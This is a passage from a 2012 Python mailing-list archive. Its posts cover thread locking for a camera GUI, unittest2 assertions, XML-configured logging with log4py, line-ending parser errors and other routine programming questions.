self.cameraActive = True >>>> self.camera.getTemperature() >>>> camDict = self.camera.getPropertyDict() >>>> self.cameraActive = False >>>> else: >>>> camDict = {'Error': 'Camera Busy'} >>>> dictMessage(camDict, 'Camera Properties') >>>> >>>> This works >>> I don't think so. in between the if and the assignment, another thread >>> could get in there and also set the flag. Then when either one of them >>> finishes, it'll clear the flag and the other code is unprotected. >>> >>> For semaphores between multiple threads, you either have to define only >>> a single thread at any given moment being permitted to modify it, or you >>> have to use lower-level primitives, sometimes called test+set operation. >>> >>> i don't know the "right" way to do this in Python, but this isn't it. >>>> but my question is, is there a better way using semaphores, locks or >>>> something else to prevent collisions between threads? >>>> >>>> Thanks if you already have the cameraActive variable reset by an event at thread termination; it's not necessary to set it false in the menu command. It's better NOT to do that. Your GUI menu functions need only test to see if self.cameraActive is false, and then set it to true just before the launch of the second thread. The second thread, itself, ought never change the cameraActive variable. I'm also not sure why you are able to obtain the information from the camera sequentially (camDict?) when you say you are not blocking the GUI. I assume self.camera.getTemperature() launches the second thread ? Is it, somehow, explicitly allowing the continued processing of GUI events that accessing the camera straight in the GUI would not allow? If you are talking about the Python semaphore library, I don't think you need it. Semaphores are really for use when multiple threads wish to access a resource where more than one thread can use the resource at a time; That would mean multiple threads using the camera at once... not a good idea. The Lock() object essentially does the same thing, but assumes only 1 thread may use it at a time; hence that would be sufficient (if it were needed at all!). A lock is in the "thread" library (Python 2.xx) or the "threading" library (Python 3.xx). Semaphores aren't part of the thread library in Python 2.xx... (another reason not to bother with them...) However, Locking will cause the GUI thread to block when the camera is in use, which isn't what you want -- correct? There is a way to test the lock but not block, which is equivalent to your variable (to be honest!); I'm pretty sure that Python doesn't use true Posix threads but only the GNU Pth library. That means that the only time threads truly switch is determined by the Python interpreter. In that case, all python variable assignments are going to be effectively atomic anyhow... and a variable, like you are using, is identical to a lock. (Atomic merely means the write can't be interrupted by a thread switch partway through). If you have a multi-processing environment, there is a multiprocessor library -- where the lock or semaphore mechanism would be important. But I really don't think you need it. From daniel.j.laird at googlemail.com Thu Dec 13 10:03:27 2012 From: daniel.j.laird at googlemail.com (Daniel Laird) Date: Thu, 13 Dec 2012 07:03:27 -0800 (PST) Subject: Help with unittest2 Message-ID: <10408d6b-9092-4861-8bde-9d2b7b37798c@googlegroups.com> All, I am new to python and am stuck with python 2.6 (Ubuntu 10.04 and dont want to force switch to 2.7) I want to use assertListEqual and other new test functions. However I do am import unittest2 as unittest The code does not fail but any use of the new functions results in: NameError: global name 'assertListEqual' is not defined What am I doing wrong? Do I need to change something else? The docs seem to imply what I have done is enough. Hope you can help Cheers Dan L From miki.tebeka at gmail.com Thu Dec 13 10:09:58 2012 From: miki.tebeka at gmail.com (Miki Tebeka) Date: Thu, 13 Dec 2012 07:09:58 -0800 (PST) Subject: Help with unittest2 In-Reply-To: <10408d6b-9092-4861-8bde-9d2b7b37798c@googlegroups.com> References: <10408d6b-9092-4861-8bde-9d2b7b37798c@googlegroups.com> Message-ID: On Thursday, December 13, 2012 7:03:27 AM UTC-8, Daniel Laird wrote: > I do am import unittest2 as unittest > NameError: global name 'assertListEqual' is not defined According to the docs (http://docs.python.org/2/library/unittest.html#unittest.TestCase.addTypeEqualityFunc) assertListEqual and friends was added in 2.7. You can use assertEuqal, or if you don't care about order assertEqual(sorted(a), sorted(b)). From d at davea.name Thu Dec 13 10:14:43 2012 From: d at davea.name (Dave Angel) Date: Thu, 13 Dec 2012 10:14:43 -0500 Subject: Error .. Please Help In-Reply-To: References: <50C8A42B.80503@davea.name> Message-ID: <50C9F0E3.5020100@davea.name> On 12/13/2012 04:23 AM, inshu chauhan wrote: >> >> if-else doesn't define a loop, but each of the for statements do. >> >> You have defined a classification for 8 of the possible colors, leaving >> millions of them undefined. If the first time through the loop you >> manage to hit one of those undefined ones, you'll have no value for >> classification. So you get an exception. >> > > Yes, You are right that I will hit an exception if classification doesnot > have any value. > But as for the colors, actually I myself have colored the image using these > 8 colors > but still I think in some pixels I have put more than 1 color, thats why > different colors are being encountered. > >> >> Worse, if you manage to get past that first pixel with a valid >> classification, then for remaining pixels, you'll be using the last >> 'valid' classification encountered. This is the kind of "quiet failure" >> that programmers dread. Something that seems to work, but isn't even >> close. >> > > For this I put an else clause at end but is there a better way to avoid > this kind of situation ?? Why would you want to avoid it? It has showed you there's a bug somewhere. That's better than silently doing something wrong. As ChrisA has said, you probably should raise your own exception in the else clause, explaining to the user that the data file is invalid, and exactly why. > >> >> If you're going to print (to file) on each iteration through the loop >> (except 0,0,0), you need to make sure there's always a valid value. So >> you need at least one more classification value, and an else clause to >> assign it, as ChrisA pointed out. >> >> Do you have a reason for treating (0,0,0) specially? When that value is >> seen, the logic skips the print as well, since continue skips to the >> next loop iteration. >> > > Yes , I have to skip (0,0,0), that is a kind of requirement. > That's fine. >> >> Are you really getting floating point values, or are they always going >> to be equal to an integer? Those if/elif statements might be a problem >> if you ever need to compare to a value like (128.4, 255.0, 255.0). >> > > I dont have values with decimal part, All values are integer. > Then why are you comparing to floats? It'd be faster and clearer and less typing if you just use ints. That is of course assuming that the values returned by image[y,x] are a tuple of ints. You can check that by doing something like print [type(i) for i in color] Is there any chance the image is 16 bits per pixel? -- DaveA From pander.musubi at gmail.com Thu Dec 13 10:30:57 2012 From: pander.musubi at gmail.com (Pander Musubi) Date: Thu, 13 Dec 2012 07:30:57 -0800 (PST) Subject: Where to contribute Unicode General Category encoding/decoding In-Reply-To: References: Message-ID: <604904a9-b4bb-4421-8fb7-4d8239069659@googlegroups.com> On Thursday, December 13, 2012 2:22:57 PM UTC+1, Bruno Dupuis wrote: > On Thu, Dec 13, 2012 at 01:51:00AM -0800, Pander Musubi wrote: > > > Hi all, > > > > > > I have created some handy code to encode and decode Unicode General Categories. To which Python Package should I contribute this? > > > > > > > Hi, > > > > As said in a recent thread (a graph data structure IIRC), talking about > > new features is far better if we see the code, so anyone can figure what > > the code really does. > > > > Can you provide a public repository uri or something? > > > > Standard lib inclusions are not trivial, it most likely happens for well-known, > > mature, PyPI packages, or battle-tested code patterns. Therefore, it's > > often better to make a package on PyPI, or, if the code is too short, to submit > > your handy chunks on ActiveState. If it deserves a general approbation, it > > may be included in Python stdlib. I was expecting PyPI. Here is the code, please advise on where to submit it: http://pastebin.com/dbzeasyq > Cheers > > > > -- > > Bruno From pander.musubi at gmail.com Thu Dec 13 10:30:57 2012 From: pander.musubi at gmail.com (Pander Musubi) Date: Thu, 13 Dec 2012 07:30:57 -0800 (PST) Subject: Where to contribute Unicode General Category encoding/decoding In-Reply-To: References: Message-ID: <604904a9-b4bb-4421-8fb7-4d8239069659@googlegroups.com> On Thursday, December 13, 2012 2:22:57 PM UTC+1, Bruno Dupuis wrote: > On Thu, Dec 13, 2012 at 01:51:00AM -0800, Pander Musubi wrote: > > > Hi all, > > > > > > I have created some handy code to encode and decode Unicode General Categories. To which Python Package should I contribute this? > > > > > > > Hi, > > > > As said in a recent thread (a graph data structure IIRC), talking about > > new features is far better if we see the code, so anyone can figure what > > the code really does. > > > > Can you provide a public repository uri or something? > > > > Standard lib inclusions are not trivial, it most likely happens for well-known, > > mature, PyPI packages, or battle-tested code patterns. Therefore, it's > > often better to make a package on PyPI, or, if the code is too short, to submit > > your handy chunks on ActiveState. If it deserves a general approbation, it > > may be included in Python stdlib. I was expecting PyPI. Here is the code, please advise on where to submit it: http://pastebin.com/dbzeasyq > Cheers > > > > -- > > Bruno From daniel.j.laird at googlemail.com Thu Dec 13 10:36:59 2012 From: daniel.j.laird at googlemail.com (Daniel Laird) Date: Thu, 13 Dec 2012 07:36:59 -0800 (PST) Subject: Help with unittest2 In-Reply-To: References: <10408d6b-9092-4861-8bde-9d2b7b37798c@googlegroups.com> Message-ID: On Thursday, December 13, 2012 3:09:58 PM UTC, Miki Tebeka wrote: > On Thursday, December 13, 2012 7:03:27 AM UTC-8, Daniel Laird wrote: > > > I do am import unittest2 as unittest > > > NameError: global name 'assertListEqual' is not defined > > According to the docs (http://docs.python.org/2/library/unittest.html#unittest.TestCase.addTypeEqualityFunc) assertListEqual and friends was added in 2.7. > > > > You can use assertEuqal, or if you don't care about order assertEqual(sorted(a), sorted(b)). Thanks, however I thought by using unittest2 it added the new 2.7 features to 2.6? From lothiraldan at gmail.com Thu Dec 13 10:48:13 2012 From: lothiraldan at gmail.com (Boris FELD) Date: Thu, 13 Dec 2012 16:48:13 +0100 Subject: Help with unittest2 In-Reply-To: References: <10408d6b-9092-4861-8bde-9d2b7b37798c@googlegroups.com> Message-ID: How are you importing unittest2, do you have something like this ? try: import unittest2 as unittest except ImportError: import unittest If it's the case, you are maybe using default unittest while you think you are using unittest2. 2012/12/13 Daniel Laird : > On Thursday, December 13, 2012 3:09:58 PM UTC, Miki Tebeka wrote: >> On Thursday, December 13, 2012 7:03:27 AM UTC-8, Daniel Laird wrote: >> >> > I do am import unittest2 as unittest >> >> > NameError: global name 'assertListEqual' is not defined >> >> According to the docs (http://docs.python.org/2/library/unittest.html#unittest.TestCase.addTypeEqualityFunc) assertListEqual and friends was added in 2.7. >> >> >> >> You can use assertEuqal, or if you don't care about order assertEqual(sorted(a), sorted(b)). > > Thanks, however I thought by using unittest2 it added the new 2.7 features to 2.6? > -- > http://mail.python.org/mailman/listinfo/python-list From __peter__ at web.de Thu Dec 13 10:49:27 2012 From: __peter__ at web.de (Peter Otten) Date: Thu, 13 Dec 2012 16:49:27 +0100 Subject: Find lowest level directory References: <8b61c9f2-967c-4f33-beb1-71f848f4724c@googlegroups.com> Message-ID: loial wrote: > How can I find the full path of the lowest level directory in a directory > structure? > > If there is more than one directory at the lowest level, the first one > found will be enough. import os def directories(root): for path, folders, files in os.walk(root): for name in folders: yield os.path.join(path, name) def depth(path): return path.count(os.sep) some_folder = ... print max(directories(some_folder), key=depth) From d at davea.name Thu Dec 13 10:54:55 2012 From: d at davea.name (Dave Angel) Date: Thu, 13 Dec 2012 10:54:55 -0500 Subject: Help with unittest2 In-Reply-To: <10408d6b-9092-4861-8bde-9d2b7b37798c@googlegroups.com> References: <10408d6b-9092-4861-8bde-9d2b7b37798c@googlegroups.com> Message-ID: <50C9FA4F.5080806@davea.name> On 12/13/2012 10:03 AM, Daniel Laird wrote: > All, > > I am new to python and am stuck with python 2.6 (Ubuntu 10.04 and dont want to force switch to 2.7) > I want to use assertListEqual and other new test functions. > However > I do am import unittest2 as unittest > The code does not fail but any use of the new functions results in: > NameError: global name 'assertListEqual' is not defined > > What am I doing wrong? > Do I need to change something else? The docs seem to imply what I have done is enough. Where's your code? And the full traceback from the error? From what you say, I can't imagine how it would work, so my mind assumes something different. You should be able to demonstrate the problem with a two line sample program. Pasted from a real test, not paraphrased. You do know that you'll need unittest.assertListEqual() right? That's because you used import unittest2 as unittest rather than from unittest2 import assertListEqual You can tell what names are in the unittest namespace by doing a dir(unittest). Although that's normally done interactively, it'll work fine from your code, as long as you put it before the spot where the exception happens. -- DaveA From thbach at students.uni-mainz.de Thu Dec 13 11:04:15 2012 From: thbach at students.uni-mainz.de (Thomas Bach) Date: Thu, 13 Dec 2012 17:04:15 +0100 Subject: Help with unittest2 In-Reply-To: <10408d6b-9092-4861-8bde-9d2b7b37798c@googlegroups.com> References: <10408d6b-9092-4861-8bde-9d2b7b37798c@googlegroups.com> Message-ID: <20121213160414.GA4283@taris.box> Hi, On Thu, Dec 13, 2012 at 07:03:27AM -0800, Daniel Laird wrote: > I do am import unittest2 as unittest > The code does not fail but any use of the new functions results in: > NameError: global name 'assertListEqual' is not defined > > What am I doing wrong? Read the error message again: it says that it cannot find the _global_ name 'assertListEqual'! assertListEqual is a method of unittest.TestCase. Hence, it has to be called on a unittest.TestCase instance, such as import unittest class FooTests(unittest.TestCase): def test_a_list(self): a = ['foo', 'bar'] b = ['foo', 'bar'] self.assertListEqual(a, b) BTW, I actually never used 'assertTypeEqual'. I rather call assertEqual and let unittest do the internals. I think assertEqual calls the right method for you depending on the arguments type. If you want to make sure that something is of a certain type use assertIsInstance! Hope this helps, Thomas Bach. From paul.nospam at rudin.co.uk Thu Dec 13 11:25:28 2012 From: paul.nospam at rudin.co.uk (Paul Rudin) Date: Thu, 13 Dec 2012 16:25:28 +0000 Subject: Help with unittest2 References: <10408d6b-9092-4861-8bde-9d2b7b37798c@googlegroups.com> Message-ID: <8738z9ly13.fsf@no-fixed-abode.cable.virginmedia.net> Thomas Bach writes: > BTW, I actually never used 'assertTypeEqual' I rather call assertEqual > and let unittest do the internals. I think assertEqual calls the right > method for you depending on the arguments type. The assertEqual methods have the advantage of checking the type of the arguments. assertEqual would be OK with equal numerical arguments, but that would be an inferior test if you were really expecting two lists. > If you want to make sure that something is of a certain type use > assertIsInstance! Yes, but why do something in 3 lines when there's a perfectly good method provided that allows you do to it directly in one? From ian.g.kelly at gmail.com Thu Dec 13 11:31:17 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Thu, 13 Dec 2012 09:31:17 -0700 Subject: Preventing tread collisions In-Reply-To: <50c9ad68$0$6564$9b4e6d93@newsspool4.arcor-online.net> References: <3003d531-217c-4c61-a967-161cac71a5f7@googlegroups.com> <50c9ad68$0$6564$9b4e6d93@newsspool4.arcor-online.net> Message-ID: On Thu, Dec 13, 2012 at 3:26 AM, Alexander Blinne wrote: > I have a general question about this kinds of things. I see that the > above is a common use case for some kind of lock which does this > testing/locking atomically. But the question is: if I know for sure that > there is no other thread that might get in the way this solution would > be fine, right? If you know for sure that there is no other thread, then there is no need for the flag in the first place. > In one of my applications i have a somewhat different case: i have a > list of objects and call the same method of each object, each in its own > thread (which is created and later joined just for this purpose). The > objects are thus only used by that one thread, the main thread waits for > all threads to be finished before accessing those objects again. Do i > really need some kind of locking for those objects? No, if a resource is only ever used by one thread/process, then there is no reason to lock it. From wanderer at dialup4less.com Thu Dec 13 11:36:55 2012 From: wanderer at dialup4less.com (Wanderer) Date: Thu, 13 Dec 2012 08:36:55 -0800 (PST) Subject: Preventing tread collisions In-Reply-To: References: <3003d531-217c-4c61-a967-161cac71a5f7@googlegroups.com> Message-ID: On Wednesday, December 12, 2012 3:53:28 PM UTC-5, MRAB wrote: > On 2012-12-12 20:11, Wanderer wrote: > > > I have a program that has a main GUI and a camera. In the main GUI, you can manipulate the images taken by the camera. You can also use the menu to check the camera's settings. Images are taken by the camera in a separate thread, so the long exposures don't block the GUI. I block conflicts between the camera snapshot thread and the main thread by setting a flag called self.cameraActive. I check to see if the cameraActive flag is false and set the cameraActive to True just before starting the thread. I generate an event on exiting the thread which sets the cameraActive flag to False. I also check and set and reset the flag in all the menu commands that access the camera. Like this. > > > > > > def onProperties(self, event): > > > """ Display a message window with the camera properties > > > event -- The camera properties menu event > > > """ > > > # Update the temperature > > > if not self.cameraActive: > > > self.cameraActive = True > > > self.camera.getTemperature() > > > camDict = self.camera.getPropertyDict() > > > self.cameraActive = False > > > else: > > > camDict = {'Error': 'Camera Busy'} > > > dictMessage(camDict, 'Camera Properties') > > > > > > This works but my question is, is there a better way using semaphores, locks or something else to prevent collisions between threads? > > > > > That suffers from a race condition in that self.cameraActive might be > > False when it's checked in the 'if' condition but set to True just > > afterwards by the other thread. > > > > You could try a non-blocking semaphore: > > > > def __init__(self): > > self.cameraActive = Semaphore() > > > > def onProperties(self, event): > > """ Display a message window with the camera properties > > event -- The camera properties menu event > > """ > > # Update the temperature > > if self.cameraActive.acquire(False): # Non-blocking > > # Successfully acquired the semaphore, so the camera wasn't active > > self.camera.getTemperature() > > camDict = self.camera.getPropertyDict() > > self.cameraActive.release() > > else: > > camDict = {'Error': 'Camera Busy'} Thanks. Why Non-blocking? From wanderer at dialup4less.com Thu Dec 13 11:36:55 2012 From: wanderer at dialup4less.com (Wanderer) Date: Thu, 13 Dec 2012 08:36:55 -0800 (PST) Subject: Preventing tread collisions In-Reply-To: References: <3003d531-217c-4c61-a967-161cac71a5f7@googlegroups.com> Message-ID: On Wednesday, December 12, 2012 3:53:28 PM UTC-5, MRAB wrote: > On 2012-12-12 20:11, Wanderer wrote: > > > I have a program that has a main GUI and a camera. In the main GUI, you can manipulate the images taken by the camera. You can also use the menu to check the camera's settings. Images are taken by the camera in a separate thread, so the long exposures don't block the GUI. I block conflicts between the camera snapshot thread and the main thread by setting a flag called self.cameraActive. I check to see if the cameraActive flag is false and set the cameraActive to True just before starting the thread. I generate an event on exiting the thread which sets the cameraActive flag to False. I also check and set and reset the flag in all the menu commands that access the camera. Like this. > > > > > > def onProperties(self, event): > > > """ Display a message window with the camera properties > > > event -- The camera properties menu event > > > """ > > > # Update the temperature > > > if not self.cameraActive: > > > self.cameraActive = True > > > self.camera.getTemperature() > > > camDict = self.camera.getPropertyDict() > > > self.cameraActive = False > > > else: > > > camDict = {'Error': 'Camera Busy'} > > > dictMessage(camDict, 'Camera Properties') > > > > > > This works but my question is, is there a better way using semaphores, locks or something else to prevent collisions between threads? > > > > > That suffers from a race condition in that self.cameraActive might be > > False when it's checked in the 'if' condition but set to True just > > afterwards by the other thread. > > > > You could try a non-blocking semaphore: > > > > def __init__(self): > > self.cameraActive = Semaphore() > > > > def onProperties(self, event): > > """ Display a message window with the camera properties > > event -- The camera properties menu event > > """ > > # Update the temperature > > if self.cameraActive.acquire(False): # Non-blocking > > # Successfully acquired the semaphore, so the camera wasn't active > > self.camera.getTemperature() > > camDict = self.camera.getPropertyDict() > > self.cameraActive.release() > > else: > > camDict = {'Error': 'Camera Busy'} Thanks. Why Non-blocking? From d at davea.name Thu Dec 13 11:54:10 2012 From: d at davea.name (Dave Angel) Date: Thu, 13 Dec 2012 11:54:10 -0500 Subject: Preventing tread collisions In-Reply-To: References: <3003d531-217c-4c61-a967-161cac71a5f7@googlegroups.com> Message-ID: <50CA0832.8050508@davea.name> On 12/13/2012 11:36 AM, Wanderer wrote: > > > Thanks. Why Non-blocking? You said you didn't want the GUI to lock up. Non-blocking lets you choose alternative action when you would otherwise have to wait for the resource. -- DaveA From wanderer at dialup4less.com Thu Dec 13 12:53:17 2012 From: wanderer at dialup4less.com (Wanderer) Date: Thu, 13 Dec 2012 09:53:17 -0800 (PST) Subject: Preventing tread collisions In-Reply-To: References: <3003d531-217c-4c61-a967-161cac71a5f7@googlegroups.com> Message-ID: <60b7fac7-75e5-4856-9b64-ba90d0e5d698@googlegroups.com> On Thursday, December 13, 2012 11:54:10 AM UTC-5, Dave Angel wrote: > On 12/13/2012 11:36 AM, Wanderer wrote: > > > > > > > > > Thanks. Why Non-blocking? > > > > You said you didn't want the GUI to lock up. Non-blocking lets you > > choose alternative action when you would otherwise have to wait for the > > resource. > > > > > > > > -- > > > > DaveA Thanks. I understand now. From wanderer at dialup4less.com Thu Dec 13 12:53:17 2012 From: wanderer at dialup4less.com (Wanderer) Date: Thu, 13 Dec 2012 09:53:17 -0800 (PST) Subject: Preventing tread collisions In-Reply-To: References: <3003d531-217c-4c61-a967-161cac71a5f7@googlegroups.com> Message-ID: <60b7fac7-75e5-4856-9b64-ba90d0e5d698@googlegroups.com> On Thursday, December 13, 2012 11:54:10 AM UTC-5, Dave Angel wrote: > On 12/13/2012 11:36 AM, Wanderer wrote: > > > > > > > > > Thanks. Why Non-blocking? > > > > You said you didn't want the GUI to lock up. Non-blocking lets you > > choose alternative action when you would otherwise have to wait for the > > resource. > > > > > > > > -- > > > > DaveA Thanks. I understand now. From nenad.cikic at gmail.com Thu Dec 13 13:47:56 2012 From: nenad.cikic at gmail.com (Nenad Cikic) Date: Thu, 13 Dec 2012 10:47:56 -0800 (PST) Subject: What package to use for certificate manipulation (signing, hashing) Message-ID: <0253023a-8c1c-4b55-a02c-1192e1c76357@googlegroups.com> Hello, I have my pfx file. I need to sign xml with this pfx using private key. I need to extract pem,issuer name,sb,subjectname which all I did with pyopenssl. I need to compute also md5 and sha-1. If I got it right pyopenssl can not sign or compute hash. Shall i use m2crypto or python-crypto or both? With pyopenssl it was eassy to extract pem and certificate information from pfx. Can it be done with m2crypto? I am looking at the docs but can not find how. Thanks Nenad From RDRichardson at rad-con.com Thu Dec 13 13:58:21 2012 From: RDRichardson at rad-con.com (Rob Richardson) Date: Thu, 13 Dec 2012 18:58:21 +0000 Subject: log4py confusion Message-ID: <67D108EDFAD3C148A593E6ED7DCB4BBD948B2D8B@RADCONWIN2K8PDC.radcon.local> Greetings! I have finally gotten fed up with all of the Python scripts used in my company that have every parameter hard-coded. I am rewriting one of them to read all of its parameters from an XML file. Then, we can change the XML file to control which database it is using, whether its running in debug mode or not, and various other things. One of the parameters I want the XML file to contain is the name of the script's log file. I have a class named Settings that will contain all the parameters read from the XML file. But if something goes wrong, I want to log it. So, I want to have a Logger object for it to use. I use a hard-coded file name for that. Then, after reading the XML file, I want to create a second Logger object that will be used by the rest of the script. When I try to use the second Logger object, I get an exception complaining that 'unicode' object has no attribute 'write'. The script and the exception messages are below. Can anyone see what I'm doing wrong? Can anyone point me to a web site documenting the log4py module? Thank you very much. RobR import os import sys import string import win32api import win32event import win32com import win32com.client import win32net import pythoncom import time import log4py import xml.dom.minidom as minidom import argparse #Set to 1 to run loop once for debugging, set to 0 for operation #Debug = 1 class DataElement: value = None def __init__(self, element = None): if element != None: self.GetData(element) def GetData(self, element): nodes = element.childNodes for node in nodes: if node.nodeType == node.TEXT_NODE: self.value = node.data def GetDataFromRoot(self, rootElement, targetName, defaultValue): elements = rootElement.getElementsByTagName(targetName) if elements: dataElement = DataElement(elements[0]) if (dataElement): self.value = dataElement.value else: self.value = defaultValue else: self.Value = defaultValue def __nonzero__(self): return self.value != None class Settings: logFile = "TaskToCrane_somethingnew.log" def __init__(self): print "I don't know what XML file to use yet." def __init__(self, fileName, tempLogger): tempLogger.info( "Settings will come from " + fileName) settingsDoc = minidom.parse(fileName) rootElement = settingsDoc.documentElement # print "Root element name: " + rootElement.tagName programControlElement = rootElement.getElementsByTagName("ProgramControl")[0] logFileElement = DataElement() logFileElement.GetDataFromRoot(programControlElement, "LogFile", self.logFile) if logFileElement: self.logFile = logFileElement.value else: tempLogger.error("Failed to get log file name.") def Log(self, logger): logger.info("Log file: " + str(self.logFile)) if __name__ == "__main__" : TempLogger = log4py.Logger().get_instance("main") TempLogger.set_rotation(log4py.ROTATE_DAILY, 5) TempLogger.set_loglevel(log4py.LOGLEVEL_DEBUG) TempLogger.set_formatstring("%T - %L %M") TempLogger.set_target("TaskToCrane_logging_base.log") parser = argparse.ArgumentParser() parser.add_argument("settings_file") args = parser.parse_args() programSettings = Settings(args.settings_file, TempLogger) TempLogger.info("Setting actual log target to " + programSettings.logFile) Logger = log4py.Logger().get_instance("main") Logger.set_rotation(log4py.ROTATE_DAILY, 5) Logger.set_loglevel(log4py.LOGLEVEL_DEBUG) Logger.set_formatstring("%T - %L %M") Logger.set_target(programSettings.logFile) programSettings.Log(TempLogger) Traceback (most recent call last): File "D:\Python27\Lib\site-packages\pythonwin\pywin\framework\scriptutils.py", line 322, in RunScript debugger.run(codeObject, __main__.__dict__, start_stepping=0) File "D:\Python27\Lib\site-packages\pythonwin\pywin\debugger\__init__.py", line 60, in run _GetCurrentDebugger().run(cmd, globals,locals, start_stepping) File "D:\Python27\Lib\site-packages\pythonwin\pywin\debugger\debugger.py", line 655, in run exec cmd in globals, locals File "D:\Program Files\WinCaps\Scripts\TaskToCrane_logging.py", line 91, in programSettings.Log(TempLogger) File "D:\Program Files\WinCaps\Scripts\TaskToCrane_logging.py", line 66, in Log logger.info("Log file: " + str(self.logFile)) File "log4py.py", line 359, in info self.__Logger_showmessage(message, MSG_INFO) File "log4py.py", line 534, in __Logger_showmessage target.write("%s\n" % line) AttributeError: 'unicode' object h -------------- next part -------------- An HTML attachment was scrubbed... URL: From alex.e.susu at gmail.com Thu Dec 13 14:12:42 2012 From: alex.e.susu at gmail.com (RCU) Date: Thu, 13 Dec 2012 21:12:42 +0200 Subject: Python parser problem In-Reply-To: <50C8E209.6080803@davea.name> References: <50C8D6B3.40207@gmail.com> <50C8E209.6080803@davea.name> Message-ID: <50CA28AA.4040006@gmail.com> Dave, Thanks for the reply. The script was originally edited on Windows with proper \r\n endings, but the PythonTidy script somehow does the doubling (I guess it assumes UNIX format only), i.e., \r\r\n . So indeed, that's kind of messy (and the Python Lang Reference specifies clearly it interprets \r as a newline, as well) and I didn't realize it with my editor. After running dos2unix (twice) on the script I cleaned all \r and it went OK. I guess Python is complaining at line 30 and not at the previous lines, because of the line-breaking backslash. Best regards, Alex On 12/12/2012 9:59 PM, Dave Angel wrote: > On 12/12/2012 02:10 PM, RCU wrote: >> Hello. >> I would like to report a parser bug manifesting on Python 2.5, 2.7 >> (but not on 2.2) and 3.3. >> Please see the attached script. >> Basically this bug appeared after applying PythonTidy on a valid >> script. >> >> More exactly, when running: >> python -c "import iCam_GIT5_5" >> I get: >> Traceback (most recent call last): >> File "", line 1, in >> File "iCam_GIT5_5.py", line 60 >> >> ^ >> SyntaxError: invalid syntax >> >> Actually, the error reported by Python is a bug, as far as I see: >> the line 60 reported in the script does not actually contain the text >> reported in the error, and this makes quite difficult locating the >> so-called error. > > No, the error is on line 60. You have blank line between each line, but > your editor apparently doesn't show you that. > > Your line-endings are messed up. Here's a dump of the first two lines. > (using hexdump -C) > > 00000000 43 55 52 52 45 4e 54 5f 52 45 4c 45 41 53 45 5f > |CURRENT_RELEASE_| > 00000010 54 49 4d 45 20 3d 20 27 32 30 31 32 5f 31 32 5f |TIME = > '2012_12_| > 00000020 31 30 5f 31 33 5f 30 30 5f 30 30 27 0d 0d 0a 4e > |10_13_00_00'...N| > > Notice that the line ends with 0d0d0a, or \r\r\n. That's not valid. > Apparently python's logic considers that as a line ending with \r, > followed by a blank line ending with\r\n. > > >> In fact the error is at script line 30: we should have all the >> code on one line, like this >> playlistToUse = youtubeClient.AddPlaylist(playlistTitle, >> playlistTitle, playlist_private=False). >> The "\" used in the script to break the line in 2 is a >> reminiscence of running PythonTidy-1.22.python (so fixing this bug >> would be directly relevant when using PythonTidy). > > Nothing wrong with ending with a backslash for continuation. Backslash > continues the line onto the next one, which is blank. Remove the extra > \r there and it'll be fine. > >> >> With this occasion I would like to ask also what are the limits of >> the Python 2.x and 3.x parser. Where can I find what are the limits on >> the size/lines of the parsed script? >> > Can't help there. > > > > From RDRichardson at rad-con.com Thu Dec 13 14:20:54 2012 From: RDRichardson at rad-con.com (Rob Richardson) Date: Thu, 13 Dec 2012 19:20:54 +0000 Subject: log4py confusion In-Reply-To: <67D108EDFAD3C148A593E6ED7DCB4BBD948B2D8B@RADCONWIN2K8PDC.radcon.local> References: <67D108EDFAD3C148A593E6ED7DCB4BBD948B2D8B@RADCONWIN2K8PDC.radcon.local> Message-ID: <67D108EDFAD3C148A593E6ED7DCB4BBD948B2DAB@RADCONWIN2K8PDC.radcon.local> The last line, programSettings.Log(TempLogger), should have been programSettings.Log(Logger) I get the same error no matter which logger I use, though, which I don't understand. Also, I'm using Python 2.7. Thanks again for your help! RobR From: Python-list [mailto:python-list-bounces+rob.richardson=rad-con.com at python.org] On Behalf Of Rob Richardson Sent: Thursday, December 13, 2012 1:58 PM To: python-list at python.org Subject: log4py confusion Greetings! I have finally gotten fed up with all of the Python scripts used in my company that have every parameter hard-coded. I am rewriting one of them to read all of its parameters from an XML file. Then, we can change the XML file to control which database it is using, whether its running in debug mode or not, and various other things. One of the parameters I want the XML file to contain is the name of the script's log file. I have a class named Settings that will contain all the parameters read from the XML file. But if something goes wrong, I want to log it. So, I want to have a Logger object for it to use. I use a hard-coded file name for that. Then, after reading the XML file, I want to create a second Logger object that will be used by the rest of the script. When I try to use the second Logger object, I get an exception complaining that 'unicode' object has no attribute 'write'. The script and the exception messages are below. Can anyone see what I'm doing wrong? Can anyone point me to a web site documenting the log4py module? Thank you very much. RobR import os import sys import string import win32api import win32event import win32com import win32com.client import win32net import pythoncom import time import log4py import xml.dom.minidom as minidom import argparse #Set to 1 to run loop once for debugging, set to 0 for operation #Debug = 1 class DataElement: value = None def __init__(self, element = None): if element != None: self.GetData(element) def GetData(self, element): nodes = element.childNodes for node in nodes: if node.nodeType == node.TEXT_NODE: self.value = node.data def GetDataFromRoot(self, rootElement, targetName, defaultValue): elements = rootElement.getElementsByTagName(targetName) if elements: dataElement = DataElement(elements[0]) if (dataElement): self.value = dataElement.value else: self.value = defaultValue else: self.Value = defaultValue def __nonzero__(self): return self.value != None class Settings: logFile = "TaskToCrane_somethingnew.log" def __init__(self): print "I don't know what XML file to use yet." def __init__(self, fileName, tempLogger): tempLogger.info( "Settings will come from " + fileName) settingsDoc = minidom.parse(fileName) rootElement = settingsDoc.documentElement # print "Root element name: " + rootElement.tagName programControlElement = rootElement.getElementsByTagName("ProgramControl")[0] logFileElement = DataElement() logFileElement.GetDataFromRoot(programControlElement, "LogFile", self.logFile) if logFileElement: self.logFile = logFileElement.value else: tempLogger.error("Failed to get log file name.") def Log(self, logger): logger.info("Log file: " + str(self.logFile)) if __name__ == "__main__" : TempLogger = log4py.Logger().get_instance("main") TempLogger.set_rotation(log4py.ROTATE_DAILY, 5) TempLogger.set_loglevel(log4py.LOGLEVEL_DEBUG) TempLogger.set_formatstring("%T - %L %M") TempLogger.set_target("TaskToCrane_logging_base.log") parser = argparse.ArgumentParser() parser.add_argument("settings_file") args = parser.parse_args() programSettings = Settings(args.settings_file, TempLogger) TempLogger.info("Setting actual log target to " + programSettings.logFile) Logger = log4py.Logger().get_instance("main") Logger.set_rotation(log4py.ROTATE_DAILY, 5) Logger.set_loglevel(log4py.LOGLEVEL_DEBUG) Logger.set_formatstring("%T - %L %M") Logger.set_target(programSettings.logFile) programSettings.Log(TempLogger) Traceback (most recent call last): File "D:\Python27\Lib\site-packages\pythonwin\pywin\framework\scriptutils.py", line 322, in RunScript debugger.run(codeObject, __main__.__dict__, start_stepping=0) File 